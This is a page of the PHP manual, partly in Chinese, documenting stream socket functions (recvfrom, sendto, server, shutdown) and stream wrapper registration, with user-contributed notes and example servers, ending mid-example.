  • Receives data from a socket, connected or not

stream_socket_recvfrom

(PHP 5, PHP 7, PHP 8)

stream_socket_recvfrom — Receives data from a socket, connected or not

说明

stream_socket_recvfrom(
resource $socket,
int $length,
int $flags = 0,
?string &$address = null
): string|false

stream_socket_recvfrom() accepts data from a remote socket up to length bytes.

参数

socket

The remote socket.

length

The number of bytes to receive from the socket.

flags

The value of flags can be any combination of the following:

Possible values for flags
STREAM_OOB | Process OOB (out-of-band) data.
STREAM_PEEK | Retrieve data from the socket, but do not consume the buffer. Subsequent calls to fread() or stream_socket_recvfrom() will see the same data.

address

If address is provided it will be populated with the address of the remote socket.

返回值

Returns the read data, as a string, 或者在失败时返回 false.

示例

Example #1 stream_socket_recvfrom() example

<?php
/* Open a server socket to port 1234 on localhost */
$server = stream_socket_server('tcp://127.0.0.1:1234');

/* Accept a connection */
$socket = stream_socket_accept($server);

/* Grab a packet (1500 is a typical MTU size) of OOB data */
echo "Received Out-Of-Band: '" . stream_socket_recvfrom($socket, 1500, STREAM_OOB) . "'\n";

/* Take a peek at the normal in-band data, but don't consume it. */
echo "Data: '" . stream_socket_recvfrom($socket, 1500, STREAM_PEEK) . "'\n";

/* Get the exact same packet again, but remove it from the buffer this time. */
echo "Data: '" . stream_socket_recvfrom($socket, 1500) . "'\n";

/* Close it up */
fclose($socket);
fclose($server);
?>

注释

Note:

If a message received is longer than the length parameter, excess bytes may be discarded depending on the type of socket the message is received from (such as UDP).

Note:

Calls to stream_socket_recvfrom() on socket-based streams, after calls to buffer-based stream functions (like fread() or stream_get_line()) read data directly from the socket and bypass the stream buffer.

参见

  • stream_socket_sendto() - Sends a message to a socket, whether it is connected or not
  • stream_socket_client() - Open Internet or Unix domain socket connection
  • stream_socket_server() - 创建 Internet 或 Unix 域服务器套接字

User Contributed Notes

raat1979 at gmail dot com 07-Jul-2015 08:30
Basically there is currently no real way to determine what the position of the Out of band data is in the tcp/ip stream.

However, it seems that In my current environment (winsock: Windows / PHP 5.3.0) you do not peek beyond the OOB byte unless the buffer is empty
reads do read beyond the OOB data. (I'll check my linux box later)

You should be able to figure out the position of the OOB data by peeking and reading from the regular stream
although it would not be 100% reliable as we do read beyond the OOB data when nothing is in front of it.
depending on the high level protocol it might be possible
to handle the specific "no data in front of out-of-band data" case

<?php
echo "<pre>";
$sockets = stream_socket_pair(STREAM_PF_INET, STREAM_SOCK_STREAM, STREAM_IPPROTO_IP);
$reader=$sockets[0];
$writer=$sockets[1];

stream_socket_sendto($writer,"abc");
stream_socket_sendto($writer,"xyZ",STREAM_OOB); // ONLY THE LAST BYTE IS MARKED AS OOB DATA
stream_socket_sendto($writer,"def");

echo "\r\n";
echo "Test 1, Peeking beyond oob when the read buffer becomes empty\r\n";
echo "The data order is 'abcxyZdef'\r\n";
stream_select($r=array($reader), $w=array(), $x=array($reader),5);
echo "has regular:";var_dump(count($r)!==0);
echo "has oobData:";var_dump(count($x)!==0);
echo "<span style='color:blue' >Peek (9) regular:".stream_socket_recvfrom($reader,9,STREAM_PEEK)."</span>\r\n";
echo "<span style='color:green'>Peek (1) OobData:".stream_socket_recvfrom($reader,9,STREAM_OOB|STREAM_PEEK)."</span>\r\n";
echo "<span style='color:black'>READ (4) regular:".stream_socket_recvfrom($reader,4)."</span>\r\n";
echo "<span style='color:blue' >Peek (9) regular:".stream_socket_recvfrom($reader,9,STREAM_PEEK)."</span>\r\n";
echo "<span style='color:black'>READ (1) regular:".stream_socket_recvfrom($reader,1)."</span>\r\n";
echo "<span style='color:blue' >Peek (9) regular:".stream_socket_recvfrom($reader,9,STREAM_PEEK)."</span>\r\n";
// read the OOB data
echo "<span style='color:red'  >READ (9) OobData:".stream_socket_recvfrom($reader,9,STREAM_OOB)."</span>\r\n";

echo "<span style='color:blue' >Peek (9) regular:".stream_socket_recvfrom($reader,9,STREAM_PEEK)."</span>\r\n";

fclose($sockets[0]);
fclose($sockets[1]);
echo "</pre>";
?>
outputs:
Test 1, Peeking beyond oob when the read buffer becomes empty
The data order is 'abcxyZdef'
has regular:bool(true)
has oobData:bool(true)
Peek (9) regular:abcxy
Peek (1) OobData:Z
READ (4) regular:abcx
Peek (9) regular:y
READ (1) regular:y
Peek (9) regular:def
READ (9) OobData:Z
Peek (9) regular:def

<?php
echo "<pre>";
$sockets = stream_socket_pair(STREAM_PF_INET, STREAM_SOCK_STREAM, STREAM_IPPROTO_IP);
$reader=$sockets[0];
$writer=$sockets[1];

stream_socket_sendto($writer,"Z",STREAM_OOB); // ONLY THE LAST BYTE IS MARKED AS OOB DATA
stream_socket_sendto($writer,"abcxydef");

echo "<hr/>";
echo "\r\n";
echo "Test 2, peek if there is nothing in front of the OOB data\r\n";
echo "The data order is 'Zabcxydef'\r\n";
stream_select($r=array($reader), $w=array(), $x=array($reader),5);
echo "has regular:";var_dump(count($r)!==0);
echo "has oobData:";var_dump(count($x)!==0);
echo "<span style='color:blue'>peek (9) regular:".stream_socket_recvfrom($reader,9,STREAM_PEEK)."</span>\r\n";
echo "<span style='color:red' >Peek (9) OobData:".stream_socket_recvfrom($reader,9,STREAM_OOB)."</span>\r\n";
echo "<span style='color:blue'>peek (9) regular:".stream_socket_recvfrom($reader,9,STREAM_PEEK)."</span>\r\n";
echo "</pre>";
?>
Outputs:
Test 2, peek if there is nothing in front of the OOB data
The data order is 'Zabcxydef'
has regular:bool(true)
has oobData:bool(true)
peek (9) regular:abcxydef
Peek (9) OobData:Z
peek (9) regular:abcxydef
MagicalTux at php dot net 15-Feb-2011 11:13
This method may return a peer address not compatible with stream_socket_sendto() if in ipv6.

The ip returned by recvfrom is not within brackets ([]), and has the port appended, which makes it look like ::1:1234. To cut it properly, use strrpos()
cweiske at php dot net 28-Feb-2010 05:42
Note that stream_socket_recvfrom() bypasses stream wrappers including TLS/SSL. While reading from an encrypted stream with fread() will return decrypted data, using stream_socket_recvfrom() will give you the original encrypted bytes.


Sends a message to a socket, whether it is connected or not

  • ? stream_socket_recvfrom
  • stream_socket_server ?
  • PHP Manual
  • Stream 函数
  • Sends a message to a socket, whether it is connected or not

stream_socket_sendto

(PHP 5, PHP 7, PHP 8)

stream_socket_sendto — Sends a message to a socket, whether it is connected or not

说明

stream_socket_sendto(
resource $socket,
string $data,
int $flags = 0,
string $address = ""
): int|false

Sends the specified data through the socket.

参数

socket

The socket to send data to.

data

The data to be sent.

flags

The value of flags can be any combination of the following:

possible values for flags
STREAM_OOB Process OOB (out-of-band) data.

address

The address specified when the socket stream was created will be used unless an alternate address is specified in address.

If specified, it must be in dotted quad (or [ipv6]) format.

返回值

Returns a result code, as an integer, 或者在失败时返回 false.

示例

Example #1 stream_socket_sendto() Example

<?php
/* Open a socket to port 1234 on localhost */
$socket = stream_socket_client('tcp://127.0.0.1:1234');

/* Send ordinary data via ordinary channels. */
fwrite($socket, "Normal data transmit.");

/* Send more data out of band. */
stream_socket_sendto($socket, "Out of Band data.", STREAM_OOB);

/* Close it up */
fclose($socket);
?>

参见

  • stream_socket_recvfrom() - Receives data from a socket, connected or not
  • stream_socket_client() - Open Internet or Unix domain socket connection
  • stream_socket_server() - 创建 Internet 或 Unix 域服务器套接字

User Contributed Notes

mrforsythexeter at googlemail dot com 10-Jul-2013 04:07
The return appears to be the size in bytes of the data written to the socket, or -1 on failure (this could be because of non blocking)


创建 Internet 或 Unix 域服务器套接字

  • ? stream_socket_sendto
  • stream_socket_shutdown ?
  • PHP Manual
  • Stream 函数
  • 创建 Internet 或 Unix 域服务器套接字

stream_socket_server

(PHP 5, PHP 7, PHP 8)

stream_socket_server — 创建 Internet 或 Unix 域服务器套接字

说明

stream_socket_server(
string $address,
int &$error_code = null,
string &$error_message = null,
int $flags = STREAM_SERVER_BIND | STREAM_SERVER_LISTEN,
?resource $context = null
): resource|false

在指定 address 上创建 stream 或者数据包套接字（datagram socket）。

此函数仅创建套接字，并使用 stream_socket_accept() 开始接受连接。

参数

address

传输器决定创建的套接字类型，其传输器由标准 URL 格式（transport://target）指定。

对于 Internet 域套接字（AF_INET），比如 TCP 和 UDP， remote_socket 参数的 target 部分应由主机名或者 IP 地址，随后跟着冒号和端口号组成。 对于 Unix 域套接字， target 部分指向文件系统中的套接字文件。

环境的不同，可能会导致 Unix 域套接字无法使用。可以使用 stream_get_transports() 检索可以使用的传输器列表。查看所支持的套接字传输器列表获取内置传输器列表。

error_code

如果指定了可选的 error_code 和 error_message 参数，它们将被设置为指出在系统级别进行 socket()、bind()、 listen() 调用时发生的真实系统级别错误。如果 error_code 返回的值为 0 且函数返回 false，则表明错误发生在 bind() 调用之前。请注意 error_code 和 error_message 始终通过引用传递。

error_message

参阅 error_code 描述。

flags

位掩码字段，可以设置为套接字创建 flag 的任意组合。

Note:

对于 UDP 套接字，你必须使用 STREAM_SERVER_BIND 作为 flags 参数。

context

返回值

返回已创建的 stream，错误时返回 false。

更新日志

版本 | 说明
8.0.0 | context 现在可为 null。

示例

Example #1 使用 TCP 服务器套接字

<?php
$socket = stream_socket_server("tcp://0.0.0.0:8000", $errno, $errstr);
if (!$socket) {
echo "$errstr ($errno)<br />\n";
} else {
while ($conn = stream_socket_accept($socket)) {
fwrite($conn, 'The local time is ' . date('n/j/Y g:i a') . "\n");
fclose($conn);
}
fclose($socket);
}
?>

下面的示例展示了如何充当时间服务器，可以响应时间查询，正如 stream_socket_client() 上的示例。

Note: 大多数系统在低于 1024 的端口号上创建服务器套接字时需要 root 访问权限。

Example #2 使用 UDP 服务器套接字

<?php
$socket = stream_socket_server("udp://127.0.0.1:1113", $errno, $errstr, STREAM_SERVER_BIND);
if (!$socket) {
die("$errstr ($errno)");
}

do {
$pkt = stream_socket_recvfrom($socket, 1, 0, $peer);
echo "$peer\n";
stream_socket_sendto($socket, date("D M j H:i:s Y\r\n"), 0, $peer);
} while ($pkt !== false);

?>

注释

Note: 当指定数值型的 IPv6 地址（例如 fe80::1）时必须用方括号将 IP 围起来——例如， tcp://[fe80::1]:80。

参见

  • stream_socket_client() - Open Internet or Unix domain socket connection
  • stream_set_blocking() - 为资源流设置阻塞或者阻塞模式
  • stream_set_timeout() - Set timeout period on a stream
  • fgets() - 从文件指针中读取一行
  • fgetss() - 从文件指针中读取一行并过滤掉 HTML 标记
  • fwrite() - 写入文件（可安全用于二进制文件）
  • fclose() - 关闭一个已打开的文件指针
  • feof() - 测试文件指针是否到了文件结束的位置
  • Curl 扩展

User Contributed Notes

Heretic86 at roadrunner dot com 25-Nov-2020 07:27
This is an example of how to set up stream_socket_server to connect with multiple Secure Websockets on WSS (wss://) that uses SSL / TLS as a Transport.

This runs on a Windows Apache Server with a registered domain and SSL Cert from LetsEncrypt via Certbot.

Run this script from a console "php server.php", and javascript html as a client with:
socket = new WebSocket('wss://php.net:1234');

<?php
$host = '192.168.1.2';
$port = 1234;
$path = 'C:/Certbot/live/php.net/';
$transport = 'tlsv1.3';
$ssl = ['ssl' => [
          'local_cert'  => $path . 'cert.pem',       // SSL Certificate
          'local_pk'    => $path . 'privkey.pem',    // SSL Keyfile
          'disable_compression' => true,             // TLS compression attack vulnerability
          'verify_peer'         => false,            // Set this to true if acting as an SSL client
          'ssltransport' => $transport,              // Transport Methods such as 'tlsv1.1', tlsv1.2'
        ] ];
$ssl_context = stream_context_create($ssl);
$server = stream_socket_server($transport . '://' . $host . ':' . $port, $errno, $errstr, STREAM_SERVER_BIND|STREAM_SERVER_LISTEN, $ssl_context);
if (!$server) {  die("$errstr ($errno)"); }
$clients = array($server);
$write  = NULL;
$except = NULL;
while (true) {
  $changed = $clients;
  stream_select($changed, $write, $except, 10);
  if (in_array($server, $changed)) {
    $client = @stream_socket_accept($server);
    if (!$client){ continue; }
    $clients[] = $client;
    $ip = stream_socket_get_name( $client, true );
    echo "New Client connected from $ip\n";

    stream_set_blocking($client, true);
    $headers = fread($client, 1500);
    handshake($client, $headers, $host, $port);
    stream_set_blocking($client, false);

    send_message($clients, mask($ip . ' connected'));
    $found_socket = array_search($server, $changed);
    unset($changed[$found_socket]);
  }
  foreach ($changed as $changed_socket) {
    $ip = stream_socket_get_name( $changed_socket, true );
    $buffer = stream_get_contents($changed_socket);
        if ($buffer == false) {
      echo "Client Disconnected from $ip\n";
      @fclose($changed_socket);
            $found_socket = array_search($changed_socket, $clients);
            unset($clients[$found_socket]);
        }
    $unmasked = unmask($buffer);
    if ($unmasked != "") { echo "\nReceived a Message from $ip:\n\"$unmasked\" \n"; }
    $response = mask($unmasked);
    send_message($clients, $response);
  }
}
fclose($server);

function unmask($text) {
    $length = @ord($text[1]) & 127;
    if($length == 126) {    $masks = substr($text, 4, 4);    $data = substr($text, 8); }
    elseif($length == 127) {    $masks = substr($text, 10, 4); $data = substr($text, 14); }
    else { $masks = substr($text, 2, 4); $data = substr($text, 6); }
    $text = "";
    for ($i = 0; $i < strlen($data); ++$i) { $text .= $data[$i] ^ $masks[$i % 4];    }
    return $text;
}
function mask($text) {
    $b1 = 0x80 | (0x1 & 0x0f);
    $length = strlen($text);
    if($length <= 125)
        $header = pack('CC', $b1, $length);
    elseif($length > 125 && $length < 65536)
        $header = pack('CCn', $b1, 126, $length);
    elseif($length >= 65536)
        $header = pack('CCNN', $b1, 127, $length);
    return $header.$text;
}
function handshake($client, $rcvd, $host, $port){
    $headers = array();
    $lines = preg_split("/\r\n/", $rcvd);
    foreach($lines as $line)
    {
        $line = rtrim($line);
        if(preg_match('/\A(\S+): (.*)\z/', $line, $matches)){
            $headers[$matches[1]] = $matches[2];
        }
    }
    $secKey = $headers['Sec-WebSocket-Key'];
    $secAccept = base64_encode(pack('H*', sha1($secKey . '258EAFA5-E914-47DA-95CA-C5AB0DC85B11')));
    //hand shaking header
    $upgrade  = "HTTP/1.1 101 Web Socket Protocol Handshake\r\n" .
    "Upgrade: websocket\r\n" .
    "Connection: Upgrade\r\n" .
    "WebSocket-Origin: $host\r\n" .
    "WebSocket-Location: wss://$host:$port\r\n".
    "Sec-WebSocket-Version: 13\r\n" .
    "Sec-WebSocket-Accept:$secAccept\r\n\r\n";
  fwrite($client, $upgrade);
}
function send_message($clients, $msg){
    foreach($clients as $changed_socket){
    @fwrite($changed_socket, $msg);
    }
}
?>
Anonymous 19-Jun-2019 11:10
Some examples of socket server uses address 127.0.0.1 as below:

stream_socket_server("tcp://127.0.0.1:5353", $errno, $errorMessage);

While it works for localhost testing, when connecting to the socket server via external element, the IP should be "0.0.0.0" as below:

stream_socket_server("tcp://0.0.0.0:5353", $errno, $errorMessage);

root@server:~# netstat -anp | grep 5353
tcp        0      0 0.0.0.0:5353           0.0.0.0:*               LISTEN      26353/php
blackmac01 at gmail dot com 03-Dec-2015 01:35
I'm writing an HTTP server and I need SSL support, but getting this to work correctly with PHP streams took a bit of trial and error. For anyone who is trying to get an HTTP SSL server working with stream_socket_server:

1) Your SSL context will need to contain 'local_cert'. If  you did not include your private key with your local_cert, you'll also need to specify 'local_pk' which is your RSA key.  Your keys and certs should be PEM encoded, which means base-64. If your certificate has intermediary certs, you will need to specify those in the correct order: Your signed cert, intermediary cert 1, intermediary cert 2, etc. Each cert in the list needs to validate the one above it, but you do not need to include the CA Root that your SSL signer provided; that should already be included with the client's software (i.e. trust root certs).

You can append your private key in the file with your certs, however I keep mine in its own file. If you see the word "encrypted" when you view your key with a text viewer, you need to enter the correct passphrase and specify the context "passphrase", otherwise you can leave that one out.

As a server, verify_peer is irrelevant and should be set to false (should always be true if you are acting as an SSL client). Both cafile and capath contexts are not needed for functioning as a SSL/TLS server, but they are needed if you are making SSL connections with PHP as the client.

Lastly, the 'ciphers' context should be set to a list of secure ciphers. Search for "mozilla recommended ciphers" and choose the string of ciphers that works for you, because not all openssl supported ciphers are secure. I went with the "intermediate" list, which provides high security and compatibility.

2) When you create the binding for stream_socket_server(), make sure that you choose the tcp:// wrapper. DO NOT USE ssl:// or tls://. Anything other than tcp:// will not work correctly AS A SERVER, those transports are what you use when making connections with PHP as a client.

Remember that the encryption does not start until after an SSL handshake completes, so the server has to listen in non-encrypted mode for new connections, and encryption doesn't start until certs are exchanged and a cipher is selected. When a new connection arrives you accept it with stream_socket_accept() and then use stream_socket_enable_crypto() to start the SSL session.

3) Keep in mind that the SSL handshake takes time, and that the stream_socket wrappers are high level and not as responsive as the socket extension due to the additional overhead they incur. For this reason you will need to enable blocking for accepting new connections.

<enable blocking on ServerListenStream>
newConnStream = stream_socket_accept(ServerListenStream);
<disable blocking on ServerListenStream>

<enable blocking on newConnStream >
stream_socket_enable_crypto(newConnStream, true, STREAM_CRYPTO_METHOD_SSLv23_SERVER);
<disable blocking on newConnStream >

Note that this is mainly for HTTP. If you are trying to do something like SMTP then your script will have to react to the "starttls" command, but it would be similar to the above except that you would wait for the "starttls" command before invoking the  stream_socket_enable_crypto() function on the client's stream.

TLS 1.0 is generally the way to go, SSLv3 is insecure and SSLv2 is buggy. If you use the mozilla recommend cipher list in your context, you'll be fine. Hope this helps someone out!
Aurelien Marchand 11-Mar-2011 11:54
In the case of AF_UNIX sockets, note the named sockets that will be created respects your umask(). So if you wanted your named socket to be writeable to all, do umask(0) prior to calling stream_socket_server().

AM
frxstrem 26-Jun-2010 10:18
Using the OpenSSL extension, PHP can automatically generate self-signed SSL certificates, which can be used for basic authentication and encryption (although I would recommend to use a signed certificate instead) for SSL servers.

I have extended the script by 'e at osterman dot com' to automatically create self-signed certificates:

<?php
// Hello World! SSL HTTP Server.
// Tested on PHP 5.1.2-1+b1 (cli) (built: Mar 20 2006 04:17:24)

// Certificate data:
$dn = array(
    "countryName" => "UK",
    "stateOrProvinceName" => "Somerset",
    "localityName" => "Glastonbury",
    "organizationName" => "The Brain Room Limited",
    "organizationalUnitName" => "PHP Documentation Team",
    "commonName" => "Wez Furlong",
    "emailAddress" => "wez@example.com"
);

// Generate certificate
$privkey = openssl_pkey_new();
$cert    = openssl_csr_new($dn, $privkey);
$cert    = openssl_csr_sign($cert, null, $privkey, 365);

// Generate PEM file
# Optionally change the passphrase from 'comet' to whatever you want, or leave it empty for no passphrase
$pem_passphrase = 'comet';
$pem = array();
openssl_x509_export($cert, $pem[0]);
openssl_pkey_export($privkey, $pem[1], $pem_passphrase);
$pem = implode($pem);

// Save PEM file
$pemfile = './server.pem';
file_put_contents($pemfile, $pem);

$context = stream_context_create();

// local_cert must be in PEM format
stream_context_set_option($context, 'ssl', 'local_cert', $pemfile);
// Pass Phrase (password) of private key
stream_context_set_option($context, 'ssl', 'passphrase', $pem_passphrase);

stream_context_set_option($context, 'ssl', 'allow_self_signed', true);
stream_context_set_option($context, 'ssl', 'verify_peer', false);

// Create the server socket
$server = stream_socket_server('ssl://0.0.0.0:9001', $errno, $errstr, STREAM_SERVER_BIND|STREAM_SERVER_LISTEN, $context);

while(true)
{
    $buffer = '';
    print "waiting...";
    $client = stream_socket_accept($server);
    print "accepted " . stream_socket_get_name( $client, true) . "\n";
    if( $client )
    {
        // Read until double CRLF
        while( !preg_match('/\r?\n\r?\n/', $buffer) )
            $buffer .= fread($client, 2046);
        // Respond to client
        fwrite($client,  "200 OK HTTP/1.1\r\n"
                         . "Connection: close\r\n"
                         . "Content-Type: text/html\r\n"
                         . "\r\n"
                         . "Hello World! " . microtime(true)
                         . "<pre>{$buffer}</pre>");
        fclose($client);
    } else {
        print "error.\n";
    }
}

?>
peterjb at me dot com 02-Jan-2010 03:48
I had a horrible time trying to shove a TLS socket into an existing TCP program.  It appears to me that functions like stream_socket_recvfrom and stream_socket_sendto don't work with TLS/SSL (which may be obvious to PHP gurus...sorry if it is, I'm in a bit over my head here).

In the end I ended up doing all my IO with fread() and fwrite(), which solved all my problems.
davidm at marketo dot com 22-Nov-2009 04:15
In some specialized scenarios, you may want to create an AF_INET socket (UDP or TCP) but let the system select an unused port for you.  This is a standard feature of internet sockets but it doesn't seem to be documented how to do this for the stream_socket_server function.  It appears you can get this behavior by selecting zero for the port number, for example, my test below printed "127.0.0.1:4960".

<?php
  $sock = stream_socket_server("udp://127.0.0.1:0");
  $name = stream_socket_get_name($sock);
  echo $name;
?>
Julien Picalausa 24-May-2009 01:27
You may have noticed that, unlike socket_listen, stream_socket_server doesn't have a backlog parameter. From the source code of php 5.2.9, it looks like the backlog parameter to the actual listen call is hardcoded to be 5. If this value doesn't suit your needs, you'll have to use the lower-level socket functions.
Neil Munro 05-Jul-2006 01:26
If you want a high speed socket server, use the low-level sockets instead (socket_create/bind/listen). The stream_socket_server version appears to have internal fixed 8k buffers that will overflow if you don't keep up by reading.

This is a serious problem if you an application that reads the socket for messages and then, say, saves the result in a database. The delay while it is busy processing means you can't read the data in time unless you get involved in muti-threading.

With the the low-level functions, the OS quietly buffers TCP/IP packets so there is no problem (tested on Windows XP Professional).
andrey at php dot net 07-Aug-2004 09:02
Just a small example how to use this function and also stream_select() to make a server that accepts more than one connections (can have many clients connected):
In master we hold all opened connections. Just before calling stream select we copy the array to $read and then pass it ot stream_select(). In case that we may read from at least one socket, $read will contain socket descriptors. $master is needed not to lose references to the opened connections we have.
stream_server.php :
<?php

$master = array();
$socket = stream_socket_server("tcp://0.0.0.0:8000", $errno, $errstr);
if (!$socket) {
    echo "$errstr ($errno)<br />\n";
} else {
    $master[] = $socket;
    $read = $master;
    while (1) {
        $read = $master;
        $mod_fd = stream_select($read, $_w = NULL, $_e = NULL, 5);
        if ($mod_fd === FALSE) {
            break;
        }
        for ($i = 0; $i < $mod_fd; ++$i) {
            if ($read[$i] === $socket) {
                $conn = stream_socket_accept($socket);
                fwrite($conn, "Hello! The time is ".date("n/j/Y g:i a")."\n");
                $master[] = $conn;
            } else {
                $sock_data = fread($read[$i], 1024);
                var_dump($sock_data);
                if (strlen($sock_data) === 0) { // connection closed
                    $key_to_del = array_search($read[$i], $master, TRUE);
                    fclose($read[$i]);
                    unset($master[$key_to_del]);
                } else if ($sock_data === FALSE) {
                    echo "Something bad happened";
                    $key_to_del = array_search($read[$i], $master, TRUE);
                    unset($master[$key_to_del]);
                } else {
                    echo "The client has sent :"; var_dump($sock_data);
                    fwrite($read[$i], "You have sent :[".$sock_data."]\n");
                    fclose($read[$i]);
                     unset($master[array_search($read[$i], $master)]);
                }
            }
        }
    }
}
?>
stream_client.php:
<?php
$fp = stream_socket_client("tcp://127.0.0.1:8000", $errno, $errstr, 30);
if (!$fp) {
    echo "$errstr ($errno)<br />\n";
} else {
    fwrite($fp, "Aloha");
    while (!feof($fp)) {
        var_dump(fgets($fp, 1024));
    }
    fclose($fp);
}
?>

Thanks


Shutdown a full-duplex connection

  • ? stream_socket_server
  • stream_supports_lock ?
  • PHP Manual
  • Stream 函数
  • Shutdown a full-duplex connection

stream_socket_shutdown

(PHP 5 >= 5.2.1, PHP 7, PHP 8)

stream_socket_shutdown — Shutdown a full-duplex connection

说明

stream_socket_shutdown(resource $stream, int $mode): bool

Shutdowns (partially or not) a full-duplex connection.

Note:

The associated buffer, or buffers, may or may not be emptied.

参数

stream

An open stream (opened with stream_socket_client(), for example)

mode

One of the following constants: STREAM_SHUT_RD (disable further receptions), STREAM_SHUT_WR (disable further transmissions) or STREAM_SHUT_RDWR (disable further receptions and transmissions).

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 A stream_socket_shutdown() example

<?php

$server = stream_socket_server('tcp://127.0.0.1:1337');
$client = stream_socket_client('tcp://127.0.0.1:1337');

var_dump(fputs($client, "hello"));

stream_socket_shutdown($client, STREAM_SHUT_WR);
var_dump(fputs($client, "hello")); // doesn't work now

?>

以上示例的输出类似于：

int(5)

Notice: fputs(): send of 5 bytes failed with errno=32 Broken pipe in test.php on line 9
int(0)

参见

  • fclose() - 关闭一个已打开的文件指针

User Contributed Notes

Anonymous 02-Aug-2021 01:22
As Daniel J has pointed out, stream_socket_shutdown doesn't send the TLS close_notify message. In some instances, it's a preferred function over fclose (to trigger stream_select, for example).

To use this function correctly with TLS, use stream_socket_enable_crypto($fp, false); before shutting down the socket.
Daniel J 06-Jan-2021 07:59
Be wary of using stream_socket_shutdown with a TLS socket. The socket is closed without sending the "close_notify" message required by TLS protocol.

To correctly close a TLS socket, use fclose() instead, which internally calls OpenSSL's SSL_shutdown() function.
jgotti 07-Sep-2012 06:22
Just a note to say that if you encounter problem closing some sockets using fclose in a multi client server, you should really  give this one a try.

Spent a full day trying to resolve this issue using stream_socket_shutdown($clientStream,STREAM_SHUT_RDWR);
finally do the trick.


Tells whether the stream supports locking

  • ? stream_socket_shutdown
  • stream_wrapper_register ?
  • PHP Manual
  • Stream 函数
  • Tells whether the stream supports locking

stream_supports_lock

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

stream_supports_lock — Tells whether the stream supports locking

说明

stream_supports_lock(resource $stream): bool

Tells whether the stream supports locking through flock().

参数

stream

The stream to check.

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • flock() - 可移植的协同文件锁定

User Contributed Notes

romain dot ardiet at gmail dot com 23-Oct-2014 08:54
This method returns TRUE on custom wrappers by default if you don't implement the stream_lock() method inside the wrapper : http://php.net/manual/en/streamwrapper.stream-lock.php


注册一个用 PHP 类实现的 URL 封装协议

  • ? stream_supports_lock
  • stream_wrapper_restore ?
  • PHP Manual
  • Stream 函数
  • 注册一个用 PHP 类实现的 URL 封装协议

stream_wrapper_register

(PHP 4 >= 4.3.2, PHP 5, PHP 7, PHP 8)

stream_wrapper_register — 注册一个用 PHP 类实现的 URL 封装协议

说明

stream_wrapper_register(string $protocol, string $class, int $flags = 0): bool

允许用户实现自定义的协议处理器和流，用于所有其它的文件系统函数中（例如 fopen()，fread() 等）。

参数

protocol

待注册的封装的名字。有效的协议名字必须只包含字母数字、点（.）、加号（+）、连字符（-）。

class

实现了 protocol 的类名。

flags

如果 protocol 是一个 URL 协议，应该设置为 STREAM_IS_URL。默认为 0，本地流。

返回值

成功时返回 true， 或者在失败时返回 false。

当 protocol 已经有处理者时，stream_wrapper_register() 将返回false

示例

Example #1 如何注册一个 stream wrapper

<?php
$existed = in_array("var", stream_get_wrappers());
if ($existed) {
stream_wrapper_unregister("var");
}
stream_wrapper_register("var", "VariableStream");
$myvar = "";

$fp = fopen("var://myvar", "r+");

fwrite($fp, "line1\n");
fwrite($fp, "line2\n");
fwrite($fp, "line3\n");

rewind($fp);
while (!feof($fp)) {
echo fgets($fp);
}
fclose($fp);
var_dump($myvar);

if ($existed) {
stream_wrapper_restore("var");
}

?>

以上示例会输出：

line1
line2
line3
string(18) "line1
line2
line3
"

参见

  • streamWrapper原型类
  • 示例类注册为流封装器
  • stream_wrapper_unregister() - Unregister a URL wrapper
  • stream_wrapper_restore() - Restores a previously unregistered built-in wrapper
  • stream_get_wrappers() - 获取已注册的流类型

User Contributed Notes

dmarjos at gmail dot com 05-Sep-2013 01:23
Be aware that even when stream_wrapper_register won't fail, open_basedir will affect functionality of the class.
Anonymous 16-Sep-2008 11:19
"for use with all the other filesystem functions"

"all" is not accurate.  Unfortunately, zip_open(), and presumably others, will ignore your custom stream wrapper.
phrank 17-Apr-2008 01:38
Actually, I don't know if there's a better way to figure out if stream_read() was called by fgets() or e.g. fread() than this one:

    public function stream_read($count)
    {
        $bt = debug_backtrace();
        if(($bt[0]['function'] == 'stream_read') &&
           ($bt[1]['function'] == 'fgets'))
        {
                $pos = strpos($GLOBALS[$this->varname], "\n", $this->position);
                $retval = substr($GLOBALS[$this->varname], $this->position, ($pos > $count) ? $count : $pos+1);

        }
        else
        {
                $retval = substr($GLOBALS[$this->varname], $this->position, $count);

        }
                $this->position += strlen($retval);
                return (string)$retval;
    }
yeiniel at gmail dot com 14-Oct-2007 07:30
on using dir_opendir on PHP5 make sure you not return a resource object on success. A resource object is diferent from false but php make a cast to bool to dir_opendir return value and modify the value of your resource to 1.

example:

class myclass{
  private $mysqlHandler;
  public function dir_opendir(....)
  {
    $this->mysqlHandler = mysql_connect(....);
    return $this->mysqlHandler; //this is wrong, next
                                          //time you use
                                          //$this->mysqlHandler
                                          // the value is 1
  }
}
fordiman at gmail dot com 13-Aug-2007 05:59
Updated. I figured there's no need to store the variable name if we're dereferenceing; we can just store the pointer and not have to dereference in each function for brevity.

Also, I added the assertion that the stream is a string, since we're behaving basically like it has to be, and I changed the name to GlobalStream and global://, as that's a more descriptive moniker than VariableName/var://.
<?php
class GlobalStream {
    private $pos;
    private $stream;
    public function stream_open($path, $mode, $options, &$opened_path) {
        $url = parse_url($path);
        $this->stream = &$GLOBALS[$url["host"]];
        $this->pos = 0;
        if (!is_string($this->stream)) return false;
        return true;
    }
    public function stream_read($count) {
        $p=&$this->pos;
        $ret = substr($this->stream, $this->pos, $count);
        $this->pos += strlen($ret);
        return $ret;
    }
    public function stream_write($data){
        $l=strlen($data);
        $this->stream =
            substr($this->stream, 0, $this->pos) .
            $data .
            substr($this->stream, $this->pos += $l);
        return $l;
    }
    public function stream_tell() {
        return $this->pos;
    }
    public function stream_eof() {
        return $this->pos >= strlen($this->stream);
    }
    public function stream_seek($offset, $whence) {
        $l=strlen($this->stream);
        switch ($whence) {
            case SEEK_SET: $newPos = $offset; break;
            case SEEK_CUR: $newPos = $this->pos + $offset; break;
            case SEEK_END: $newPos = $l + $offset; break;
            default: return false;
        }
        $ret = ($newPos >=0 && $newPos <=$l);
        if ($ret) $this->pos=$newPos;
        return $ret;
    }
}
stream_wrapper_register('global', 'GlobalStream') or die('Failed to register protocol global://');

$myvar = "";

$fp = fopen("global://myvar", "r+");

fwrite($fp, "line1\n");
fwrite($fp, "line2\n");
fwrite($fp, "line3\n");

rewind($fp);
while (!feof($fp)) {
    echo fgets($fp);
}
fclose($fp);
var_dump($myvar);
?>
fordiman at gmail dot com 13-Aug-2007 05:32
Updated for PHP 5, and optimized for readability, low line count, and minimum memory use:

<?php
class VariableStream {
    private $position;
    private $varname;
    public function stream_open($path, $mode, $options, &$opened_path) {
